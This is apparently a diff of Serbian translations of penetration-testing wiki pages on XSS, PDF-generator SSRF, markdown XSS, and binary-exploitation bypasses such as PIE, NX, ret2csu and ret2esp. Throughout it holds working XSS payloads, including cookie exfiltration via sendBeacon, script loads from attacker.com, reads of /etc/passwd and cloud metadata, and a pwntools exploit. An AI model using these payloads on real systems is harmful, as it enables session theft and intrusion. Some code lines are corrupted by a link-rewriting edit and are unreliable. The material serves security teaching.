Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" upravljače događajima**.\
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove upravljače događajima, možete pokušati sledeće zaobilaženja:
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
U slučaju da postoji neka crna lista koja vam sprečava da kreirate ove event handlers, možete pokušati sledeće zaobilaženja:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
Iz [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -430,7 +430,7 @@ Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož
### Obilaženje crne liste
Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se **da naučite gde možete koristiti:**
Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom odeljku. Vratite se da naučite gde možete koristiti:
- **HTML kodiranje (HTML tagovi)**
- **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)`
@ -438,13 +438,13 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već otkriveno u ovom
- **Hex i Oktalno kodiranje**
- **data kodiranje**
**Obilaženje za HTML tagove i atribute**
**Obilaženja za HTML tagove i atribute**
Pročitajte [Obilaženje crne liste iz prethodnog odeljka](#blacklist-bypasses).
Pročitajte [Obilaženja crne liste prethodnog odeljka](#blacklist-bypasses).
**Obilaženje za JavaScript kod**
**Obilaženja za JavaScript kod**
Pročitajte [JavaScript obilaženje crne liste iz sledećeg odeljka](#javascript-bypass-blacklists-techniques).
Pročitajte [JavaScript obilaženje crne liste sledećeg odeljka](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
@ -452,7 +452,7 @@ Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu intera
Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ali, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
> .test {display:block; color: blue; width: 100%\}
@ -468,7 +468,7 @@ Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a
## Umetanje unutar JavaScript koda
U ovom slučaju vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
U ovim slučajevima vaš **ulaz** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
### Izbegavanje \<script> taga
@ -476,7 +476,7 @@ Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflected data' [...
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Napomena da u ovom primeru **nismo čak ni zatvorili jednostavni navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
### Unutar JS koda
@ -752,7 +752,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
### Cookie XSS
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
Ako možete da izazovete XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, možete iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -766,32 +766,32 @@ Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS
### Odbijanje sesije
Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Ako pronađete neki self XSS i web stranica ima **odbijanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati **administratora da izazove vaš self XSS** i ukradete njegove kolačiće/sesiju.
## Drugi zaobilaženja
## Ostali Bypasses
### Normalizovani Unicode
Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag zaobilaženje
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails bypass
Zbog **RoR masovne dodeljivanje** navodnici se ubacuju u HTML, a zatim se zaobilazi ograničenje navodnika i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Par "Key","Value" će biti vraćen ovako:
Par "Ključ","Vrednost" će biti vraćen ovako:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Zatim će biti umetnut atribut onfocus i doći će do XSS-a.
Zatim će biti umetnut onfocus atribut i XSS se dešava.
### Posebne kombinacije
```markup
@ -827,16 +827,16 @@ document['default'+'View'][`\u0061lert`](3)
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovoj**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
### Samo slova, brojevi i tačke
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](#javascript-function) da biste saznali kako da iskoristite ovo ponašanje.
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
### Validni `<script>` Content-Types za XSS
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
(From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će baciti sledeću grešku:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -951,7 +951,7 @@ Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),
chrome-cache-to-xss.md
{{#endref}}
### XS Jails bekstvo
### XS Jails izlaz
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
```javascript
@ -961,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
@ -1267,7 +1267,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako ste dovoljno srećni.
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
### Ukradi sadržaj stranice
```javascript
@ -1358,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski intervali ukazuju na to da nema odgovora._
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._
Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1429,7 +1429,7 @@ shadow-dom.md
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Slepi XSS payloadi
### Slepe XSS payloads
Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
```markup
@ -1532,9 +1532,9 @@ pdf-injection.md
### XSS u Amp4Email
AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi osigurao funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem [AMP components](https://amp.dev/documentation/components/?format=websites).
AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uključuje HTML tagove dopunjene JavaScript-om kako bi osigurao funkcionalnost sa naglaskom na brzinu i sigurnost. Podržava niz komponenti za različite funkcije, dostupnih putem [AMP komponenti](https://amp.dev/documentation/components/?format=websites).
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje specifične AMP komponente na e-mailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih e-mailova.
Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje specifične AMP komponente na emailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih emailova.
Primer [**writeup XSS u Amp4Email u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1596,7 +1596,7 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Pronađite **više SVG payload-a u** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Pronađite **više SVG payload-a na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Razne JS trikovi i relevantne informacije

View File

@ -14,7 +14,7 @@ Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da
- **wkhtmltopdf** je poznat po svojoj sposobnosti da konvertuje HTML i CSS u PDF dokumente, koristeći WebKit rendering engine. Ovaj alat je dostupan kao open-source komandna linijska alatka, što ga čini dostupnim za širok spektar aplikacija.
- **TCPDF** nudi robusno rešenje unutar PHP ekosistema za generisanje PDF-a. Sposoban je da obrađuje slike, grafiku i enkripciju, pokazujući svoju svestranost za kreiranje složenih dokumenata.
- Za one koji rade u Node.js okruženju, **PDFKit** predstavlja izvodljivu opciju. Omogućava generisanje PDF dokumenata direktno iz HTML-a i CSS-a, pružajući most između web sadržaja i formata pogodnih za štampu.
- Za one koji rade u Node.js okruženju, **PDFKit** predstavlja izvodljivu opciju. Omogućava generisanje PDF dokumenata direktno iz HTML-a i CSS-a, pružajući most između web sadržaja i štampanih formata.
- Java programeri bi mogli preferirati **iText**, biblioteku koja ne samo da olakšava kreiranje PDF-a, već takođe podržava napredne funkcije poput digitalnih potpisa i popunjavanja obrazaca. Njegov sveobuhvatan skup funkcija čini ga pogodnim za generisanje sigurnih i interaktivnih dokumenata.
- **FPDF** je još jedna PHP biblioteka, koja se odlikuje svojom jednostavnošću i lakoćom korišćenja. Dizajnirana je za programere koji traže jednostavan pristup generisanju PDF-a, bez potrebe za opsežnim funkcijama.
@ -69,17 +69,17 @@ if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
### Učitajte spoljašnji skript
### Učitajte eksterni skript
Najbolji način da iskoristite ovu ranjivost je da zloupotrebite ranjivost kako biste naterali bot da učita skript koji lokalno kontrolišete. Tada ćete moći da promenite payload lokalno i naterate bot da ga učita sa istim kodom svaki put.
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### Čitaj lokalnu datoteku / SSRF
### Čitanje lokalne datoteke / SSRF
> [!WARNING]
> Promenite `file:///etc/passwd` u `http://169.254.169.254/latest/user-data` na primer da **pokušate da pristupite spoljašnjoj veb stranici (SSRF)**.
> Promenite `file:///etc/passwd` u `http://169.254.169.254/latest/user-data` na primer da **pokušate da pristupite eksternoj veb stranici (SSRF)**.
>
> Ako je SSRF dozvoljen, ali **ne možete da dođete** do zanimljive domene ili IP adrese, [proverite ovu stranicu za potencijalne zaobilaženja](../ssrf-server-side-request-forgery/url-format-bypass.md).
```markup
@ -145,7 +145,7 @@ checkPort(i);
</script>
<img src="https://attacker.com/startingScan">
```
### [SSRF](../ssrf-server-side-request-forgery/)
### [SSRF](../ssrf-server-side-request-forgery/index.html)
Ova ranjivost se može vrlo lako pretvoriti u SSRF (jer možete naterati skriptu da učita spoljne resurse). Tako da samo pokušajte da je iskoristite (pročitajte neke metapodatke?).

View File

@ -61,7 +61,7 @@ Primeri payload-a:
<div
id="1
![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

View File

@ -4,12 +4,12 @@
## Osnovne informacije
**No-Execute (NX)** bit, takođe poznat kao **Execute Disable (XD)** u Intel terminologiji, je hardverska bezbednosna funkcija dizajnirana da **ublaži** efekte **buffer overflow** napada. Kada se implementira i omogući, razlikuje između memorijskih regiona koji su namenjeni za **izvršni kod** i onih koji su namenjeni za **podatke**, kao što su **stack** i **heap**. Osnovna ideja je da se spreči napadač da izvrši zlonamerni kod kroz ranjivosti buffer overflow tako što će staviti zlonamerni kod u stack, na primer, i usmeriti tok izvršenja ka njemu.
**No-Execute (NX)** bit, takođe poznat kao **Execute Disable (XD)** u Intel terminologiji, je hardverska bezbednosna funkcija dizajnirana da **ublaži** efekte **buffer overflow** napada. Kada se implementira i aktivira, razlikuje između memorijskih regiona koji su namenjeni za **izvršni kod** i onih koji su namenjeni za **podatke**, kao što su **stack** i **heap**. Osnovna ideja je da se spreči napadač da izvrši zlonamerni kod kroz ranjivosti buffer overflow tako što će staviti zlonamerni kod u stack, na primer, i usmeriti tok izvršenja ka njemu.
## Obilaženja
## Bypasses
- Moguće je koristiti tehnike kao što su [**ROP**](../stack-overflow/rop-return-oriented-programing.md) da se zaobiđe ova zaštita izvršavanjem delova izvršnog koda koji su već prisutni u binarnom fajlu.
- [**Ret2libc**](../stack-overflow/ret2lib/)
- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
- **Ret2...**

View File

@ -8,7 +8,7 @@ Binarni fajl kompajliran kao PIE, ili **Poziciono Nezavisna Izvršna Datoteka**,
Trik za iskorišćavanje ovih binarnih fajlova leži u iskorišćavanju **relativnih adresa**—ofseti između delova programa ostaju isti čak i ako se apsolutne lokacije promene. Da biste **obišli PIE, potrebno je da iscuri jedna adresa**, obično sa **stack-a** koristeći ranjivosti poput napada format string. Kada dobijete adresu, možete izračunati druge prema njihovim **fiksnim ofsetima**.
Koristan savet u iskorišćavanju PIE binarnih fajlova je da njihova **osnovna adresa obično završava sa 000** zbog toga što su memorijske stranice jedinice randomizacije, veličine 0x1000 bajtova. Ova usklađenost može biti kritična **provera ako eksploatacija ne funkcioniše** kako se očekuje, ukazujući na to da li je pravilna osnovna adresa identifikovana.\
Koristan savet u iskorišćavanju PIE binarnih fajlova je da njihova **osnovna adresa obično završava sa 000** zbog toga što su memorijske stranice jedinice randomizacije, veličine 0x1000 bajtova. Ova usklađenost može biti kritična **provera ako eksploatacija ne funkcioniše** kako se očekuje, ukazujući na to da li je ispravna osnovna adresa identifikovana.\
Ili možete ovo koristiti za vašu eksploataciju, ako iscuri da se adresa nalazi na **`0x649e1024`** znate da je **osnovna adresa `0x649e1000`** i odatle možete samo **izračunati ofsete** funkcija i lokacija.
## Obilaženja
@ -17,13 +17,13 @@ Da biste obišli PIE potrebno je **iscuriti neku adresu učitanog** binarnog faj
- **Onemogućen ASLR**: Ako je ASLR onemogućen, binarni fajl kompajliran sa PIE se uvek **učitava na istoj adresi**, stoga je **PIE beskoristan** jer su adrese objekata uvek na istom mestu.
- Da vam **bude data** curenje (uobičajeno u lakim CTF izazovima, [**proverite ovaj primer**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP i EIP vrednosti** na stack-u dok ne iscurite prave:
- **Brute-force EBP i EIP vrednosti** na stack-u dok ne iscurite ispravne:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Koristite ranjivost za proizvoljno čitanje kao što je [**format string**](../../format-strings/) da iscurite adresu binarnog fajla (npr. sa stack-a, kao u prethodnoj tehnici) da dobijete osnovu binarnog fajla i koristite ofsete odatle. [**Pronađite primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Koristite ranjivost za proizvoljno čitanje kao što je [**format string**](../../format-strings/index.html) da iscurite adresu binarnog fajla (npr. sa stack-a, kao u prethodnoj tehnici) da dobijete osnovu binarnog fajla i koristite ofsete odatle. [**Pronađite primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Reference

View File

@ -6,7 +6,7 @@
A **stack overflow** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je dodeljeno da drži. Ovi viškovi podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica na ulazu.
Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te vrednosti i **kontroliše tok izvršavanja programa**.
Glavni problem ovog prepisivanja je to što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te vrednosti i **kontroliše tok izvršavanja programa**.
Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je dodeljeno za nju**, čime može da prepiše druge delove steka.\
Neke uobičajene funkcije koje su ranjive na ovo su: `strcpy`, `strcat`, `sprintf`, `gets`... Takođe, funkcije poput `fgets` ili `read`, koje uzimaju argument dužine, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene.
@ -24,7 +24,7 @@ printf("You entered: %s\n", buffer);
Najčešći način za pronalaženje stack overflow-a je davanje veoma velikog unosa `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **adresu `0x41414141` pokušano pristupiti**.
Pored toga, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine **_**n**_** pojavljuje tačno jednom** kao kontigenta podsekvenca.
Štaviše, kada pronađete da postoji ranjivost Stack Overflow-a, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine **_**n**_** pojavljuje tačno jednom** kao kontigvna podsekvenca.
Na ovaj način, umesto da ručno otkrivate koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao punjenje jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisivanje.
@ -50,13 +50,13 @@ pattern search $rsp #Search the offset given the content of $rsp
## Iskorišćavanje Stack Overflow-a
Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljno velika) moći ćete da prepišete vrednosti lokalnih promenljivih unutar steka sve dok ne dođete do sačuvanog EBP/RBP i EIP/RIP (ili čak više).\
Najčešći način zloupotrebe ove vrste ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovoj pokazivaču.
Najčešći način da se zloupotrebi ova vrsta ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovoj pokazivaču.
Međutim, u drugim scenarijima možda će samo **prepisivanje nekih vrednosti promenljivih u steku** biti dovoljno za eksploataciju (kao u lakim CTF izazovima).
### Ret2win
U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično [**ASLR**](../common-binary-protections-and-bypasses/aslr/) će biti onemogućen) tako da kada ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
U ovim vrstama CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) bio onemogućen) tako da kada ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
{{#ref}}
ret2win.md

View File

@ -4,7 +4,7 @@
## Osnovne informacije
**ret2csu** je tehnika hakovanja koja se koristi kada pokušavate da preuzmete kontrolu nad programom, ali ne možete da pronađete **gadgets** koje obično koristite za manipulaciju ponašanjem programa.&#x20;
**ret2csu** je tehnika hakovanja koja se koristi kada pokušavate da preuzmete kontrolu nad programom, ali ne možete pronaći **gadgets** koje obično koristite za manipulaciju ponašanjem programa.&#x20;
Kada program koristi određene biblioteke (kao što je libc), ima neke ugrađene funkcije za upravljanje načinom na koji različiti delovi programa komuniciraju jedni s drugima. Među tim funkcijama su neki skriveni dragulji koji mogu delovati kao naši nedostajući gadgets, posebno jedan pod nazivom `__libc_csu_init`.
@ -39,7 +39,7 @@ Zamislite da želite da napravite syscall ili pozovete funkciju kao što je `wri
Evo gde **ret2csu** dolazi u igru:
1. **Postavite Registre**: Koristite prvi magični gadget da izvučete vrednosti sa steka i smestite ih u rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
1. **Postavite Registre**: Koristite prvi magični gadget da izvučete vrednosti sa steka i stavite ih u rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
2. **Koristite Drugi Gadget**: Kada su ti registri postavljeni, koristite drugi gadget. Ovo vam omogućava da premestite izabrane vrednosti u `rdx` i `rsi` (iz r14 i r13, redom), pripremajući parametre za poziv funkcije. Štaviše, kontrolišući `r15` i `rbx`, možete naterati program da pozove funkciju smeštenu na adresi koju izračunate i stavite u `[r15 + rbx*8]`.
Imate [**primer koji koristi ovu tehniku i objašnjava je ovde**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a ovo je konačni exploit koji je korišćen:
@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Imajte na umu da prethodni exploit nije namenjen za **`RCE`**, već samo da pozove funkciju pod nazivom `win` (uzimajući adresu `win` iz stdin pozivajući gets u ROP lancu i čuvajući je u r15) sa trećim argumentom čija je vrednost `0xdeadbeefcafed00d`.
> Imajte na umu da prethodni exploit nije namenjen za **`RCE`**, već samo da pozove funkciju pod nazivom `win` (uzimajući adresu `win` iz stdin pozivajući gets u ROP lancu i čuvajući je u r15) sa trećim argumentom sa vrednošću `0xdeadbeefcafed00d`.
### Zašto Ne Koristiti libc Direktno?
### Zašto ne koristiti libc direktno?
Obično su ovi slučajevi takođe ranjivi na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ali ponekad je potrebno kontrolisati više parametara nego što se lako može kontrolisati sa gadgetima koje direktno pronađete u libc. Na primer, funkcija `write()` zahteva tri parametra, i **pronalazak gadgeta za postavljanje svih ovih direktno možda neće biti moguć**.
Obično su ovi slučajevi takođe ranjivi na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ali ponekad je potrebno kontrolisati više parametara nego što se lako može kontrolisati sa gadgetima koje direktno pronađete u libc. Na primer, funkcija `write()` zahteva tri parametra, i **pronalazak gadgeta za postavljanje svih ovih direktno možda neće biti moguć**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
**Pošto ESP (Stack Pointer) uvek pokazuje na vrh steka**, ova tehnika uključuje zamenu EIP (Instruction Pointer) sa adresom **`jmp esp`** ili **`call esp`** instrukcije. Na taj način, shellcode se postavlja odmah nakon prepisanog EIP-a. Kada se izvrši `ret` instrukcija, ESP pokazuje na sledeću adresu, tačno gde je shellcode smešten.
Ako **Address Space Layout Randomization (ASLR)** nije omogućen u Windows-u ili Linux-u, moguće je koristiti `jmp esp` ili `call esp` instrukcije koje se nalaze u deljenim bibliotekama. Međutim, sa aktivnim [**ASLR**](../common-binary-protections-and-bypasses/aslr/), možda će biti potrebno da se potraže ove instrukcije unutar samog ranjivog programa (i možda će biti potrebno da se savlada [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Ako **Address Space Layout Randomization (ASLR)** nije omogućen u Windows-u ili Linux-u, moguće je koristiti `jmp esp` ili `call esp` instrukcije koje se nalaze u deljenim bibliotekama. Međutim, sa aktivnim [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), možda će biti potrebno da se potraže ove instrukcije unutar samog ranjivog programa (i možda ćete morati da savladate [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
Pored toga, mogućnost postavljanja shellcode-a **posle korupcije EIP-a**, umesto u sredini steka, osigurava da bilo koje `push` ili `pop` instrukcije izvršene tokom rada funkcije ne ometaju shellcode. Ova ometanja mogla bi se desiti ako bi shellcode bio postavljen u sredini steka funkcije.
@ -17,7 +17,7 @@ Ako vam nedostaje prostora da pišete nakon prepisivanja RIP-a (možda samo neko
sub rsp, 0x30
jmp rsp
```
I napišite shellcode rano na steku.
I napišite shellcode rano u steku.
### Primer
